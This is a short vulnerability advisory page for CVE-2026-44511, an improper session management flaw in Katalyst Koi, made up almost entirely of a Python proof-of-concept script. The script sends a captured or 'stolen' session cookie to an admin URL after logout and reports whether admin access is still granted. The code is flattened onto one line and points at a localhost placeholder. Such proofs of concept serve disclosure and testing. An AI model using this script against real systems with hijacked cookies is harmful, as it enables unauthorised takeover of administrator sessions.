CVE-2026-44511 Katalyst Koi会话管理不当漏洞

# Proof of Concept: Session Cookie Reuse after Logout import requests def check_session_reuse(target_url, stolen_cookie): """ Attempts to access the admin panel using a stolen cookie after the legitimate user has logged out. """ headers = { "User-Agent": "CVE-2026-44511-PoC/1.0", "Cookie": stolen_cookie } try: response = requests.get(target_url, headers=headers, timeout=10) # Check if response indicates successful admin access if response.status_code == 200 and ("admin" in response.text.lower() or "dashboard" in response.text.lower()): return "[+] Vulnerability Confirmed: Admin session is still active after logout." else: return "[-] Session invalid or access denied." except Exception as e: return f"[!] Error occurred: {str(e)}" if __name__ == "__main__": # Replace with actual target and captured cookie target = "http://localhost:3000/admin" cookie = "_katalyst_koi_session=eyJfY3NyZiI6..." print(check_session_reuse(target, cookie))